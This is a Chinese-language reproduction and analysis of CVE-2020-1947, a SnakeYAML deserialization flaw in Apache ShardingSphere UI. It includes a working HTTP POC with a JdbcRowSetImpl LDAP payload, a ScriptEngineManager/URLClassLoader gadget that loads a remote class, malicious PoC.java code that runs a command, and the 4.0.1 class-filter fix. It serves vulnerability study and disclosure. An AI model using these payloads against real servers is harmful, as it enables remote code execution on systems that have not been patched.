CVE-2020-1947 Sharding-UI的反序列化复现及分析

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CVE-2020-1947 复现及分析

0x01 影响

Apache ShardingSphere < =4.0.0

0x02 环境搭建

incubator-shardingsphere 的ui界面为前后分离，所以搭建环境所需要的工具如下

shardingsphere-ui-frontend 需要nodejs环境
shardingsphere-ui-backend maven构建环境，idea作为源码调试工具
任意版本zookeeper

前端后端没有启动的先后顺序，任意顺序即可。

首先将shardingsphere-ui-frontend 拖入idea，idea会自动通过pom的依赖构建项目，稍等片刻，在 org.apache.shardingsphere.ui.Bootstrap 类运行main函数即可。

前端环境需要nodejs构建，步骤如下

进入 sharding-ui-frontend/ 目录；
执行 npm install ；
执行 npm run dev ；
访问 http://localhost:8080/ 。

现在就可以访问后台了，用户名与密码皆为admin。为了触发漏洞，需要在后台配置zookeeper。如图

0x03 POC

登录后台后，发送如下poc

POST /api/schema HTTP/1.1

Host: localhost:8089

Accept: application/json, text/plain, */*

Accept-Encoding: gzip, deflate

Content-Type: application/json;charset=utf-8

Access-Token: 替换为自己的

Content-Length: 579

{"name":"CVE-2020-1947","ruleConfiguration":"  encryptors:\n    encryptor_aes:\n      type: aes\n      props:\n        aes.key.value: 123456abc\n    encryptor_md5:\n      type: md5\n  tables:\n    t_encrypt:\n      columns:\n        user_id:\n          plainColumn: user_plain\n          cipherColumn: user_cipher\n          encryptor: encryptor_aes\n        order_id:\n          cipherColumn: order_cipher\n          encryptor: encryptor_md5","dataSourceConfiguration":"!!com.sun.rowset.JdbcRowSetImpl\n  dataSourceName: ldap://127.0.0.1:1389/CommandObject\n  autoCommit: true"}

0x04 分析

可以根据poc，可以很明显的发现是shakeyaml引起的反序列化问题。首先找到处理 /api/scheme 的controller。在 org.apache.shardingsphere.ui.web.controller.ShardingSchemaController 处。 addSchema 会处理post请求

    /**

     * Add schema configuration.

     *

     * @param shardingSchema sharding schema DTO.

     * @return response result

     */

    @RequestMapping(value = "", method = RequestMethod.POST)

    public ResponseResult addSchema(final @RequestBody ShardingSchemaDTO shardingSchema) {

        shardingSchemaService.addSchemaConfiguration(shardingSchema.getName(), shardingSchema.getRuleConfiguration(), shardingSchema.getDataSourceConfiguration());

        return ResponseResultUtil.success();

    }

跟入 shardingSchemaService.addSchemaConfiguration 函数。

    @Override

    public void addSchemaConfiguration(final String schemaName, final String ruleConfiguration, final String dataSourceConfiguration) {

        checkSchemaName(schemaName, getAllSchemaNames());

        checkRuleConfiguration(ruleConfiguration);

      checkDataSourceConfiguration(dataSourceConfiguration);

//... 省略不相关代码

    }

在 addSchemaConfiguration 中的 checkDataSourceConfiguration 函数会处理 dataSourceConfiguration 。继续跟入

    private void checkDataSourceConfiguration(final String configData) {

            Map<String, DataSourceConfiguration> dataSourceConfigs = ConfigurationYamlConverter.loadDataSourceConfigurations(configData);

           //... 省略不相关代码

    }

在 checkDataSourceConfiguration 中会调用 ConfigurationYamlConvert.LoadDataSourceConfigurations 去解析datasource。

    /**

     * Load data source configurations.

     *

     * @param data data

     * @return data source configurations

     */

    @SuppressWarnings("unchecked")

    public static Map<String, DataSourceConfiguration> loadDataSourceConfigurations(final String data) {

        Map<String, YamlDataSourceConfiguration> result = (Map) YamlEngine.unmarshal(data);

//... 省略不相关代码

    }

在 loadDataSourceConfigurations 中会调用 YamlEngine.unmarshal 去处理数据，下图为 unmarsha l函数的代码。可以很明显的看出， unmarshal 函数存在反序列化漏洞。yaml的load可以加载任意类，造成反序列化漏洞

/**

 * Unmarshal YAML.

 *

 * @param yamlContent YAML content

 * @return map from YAML

 */

public static Map<?, ?> unmarshal(final String yamlContent) {

    return Strings.isNullOrEmpty(yamlContent) ? new LinkedHashMap<>() : (Map) new Yaml().load(yamlContent);

}

不难看出，搭建复现环境时，不一定需要他的web环境去触发漏洞，我们可以直接调用相关函数去模拟加载 loadDataSourceConfigurations 函数。代码如下

package org.apache.shardingsphere.ui;

import org.apache.shardingsphere.core.config.DataSourceConfiguration;

import org.apache.shardingsphere.ui.util.ConfigurationYamlConverter;

import java.util.Map;

public class test {

    public static void main(String... args){

        String configData = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:9999\"]]]]";

        Map<String, DataSourceConfiguration> dataSourceConfigs = ConfigurationYamlConverter.loadDataSourceConfigurations(configData);

    }

}

0x05 poc 构造基于ScriptEngineManager利用链

构造exp可以使用unmarshalsec 工具，请自行搜索

本次利用是基于javax.script.ScriptEngineManager的利用链。

简单地说，ScriptEngineManager类用于Java和JavaScript之间的调用。

PoC.java，需要实现ScriptEngineManager接口类，其中的静态代码块用于执行恶意代码，将其编译成PoC.class然后放置于第三方Web服务中：

import javax.script.ScriptEngine;

import javax.script.ScriptEngineFactory;

import java.util.List;

import java.io.IOException;

import java.util.Map;

public class PoC implements ScriptEngineFactory {

    static {

        try {

            System.out.println("Hacked by UnicodeSec");

            Runtime.getRuntime().exec("calc");

        } catch (IOException e){

            e.printStackTrace();

        }

    }

    public String getEngineName() {

        return null;

    }

    public String getEngineVersion() {

        return null;

    }

    public List<String> getExtensions() {

        return null;

    }

    public List<String> getMimeTypes() {

        return null;

    }

    public List<String> getNames() {

        return null;

    }

    public String getLanguageName() {

        return null;

    }

    public String getLanguageVersion() {

        return null;

    }

    public Object getParameter(String key) {

        return null;

    }

    public String getMethodCallSyntax(String obj, String m, String... args) {

        return null;

    }

    public String getOutputStatement(String toDisplay) {

        return null;

    }

    public String getProgram(String... statements) {

        return null;

    }

    public ScriptEngine getScriptEngine() {

        return null;

    }

}

另外，在已放置PoC.class的第三方Web服务中，在当前目录新建如下文件 META-INF\services\javax.script.ScriptEngineFactory ，其中内容为指定被执行的类名PoC

即可触发漏洞

0x06 修复分析

在4.0.1中新增了classfilter的构造方法，只允许反序列化 YamlDataSourceConfiguration 类。

LoadDataSouceConfigurations 函数设置只允许反序列化相关类，

ClassFilterConstructor 代码如下

public final class ClassFilterConstructor extends Constructor {

    private final Collection<Class<?>> acceptClasses;

    @Override

    protected Class<?> getClassForName(final String name) throws ClassNotFoundException {

        for (Class<? extends Object> each : acceptClasses) {

            if (name.equals(each.getName())) {

                return super.getClassForName(name);

            }

        }

        throw new IllegalArgumentException(String.format("Class is not accepted: %s", name));

    }

}

LoadDatasourceConfigurations 函数中设置 classfilter

Map<String, YamlDataSourceConfiguration> result = (Map) YamlEngine.unmarshal(data, Collections.<Class<?>>singletonList(YamlDataSourceConfiguration.class));

0x06 参考

https://bitbucket.org/asomov/snakeyaml/wiki/Documentation#markdown-header-type-safe-collections
https://www.javadoc.io/doc/org.yaml/snakeyaml/1.19/org/yaml/snakeyaml/constructor/Constructor.html
https://shardingsphere.apache.org/document/current/cn/manual/sharding-ui/
https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#0x02-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E

正文

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0x01 影响

0x02 环境搭建

0x03 POC

0x04 分析

0x05 poc 构造基于ScriptEngineManager利用链

0x06 修复分析

0x06 参考

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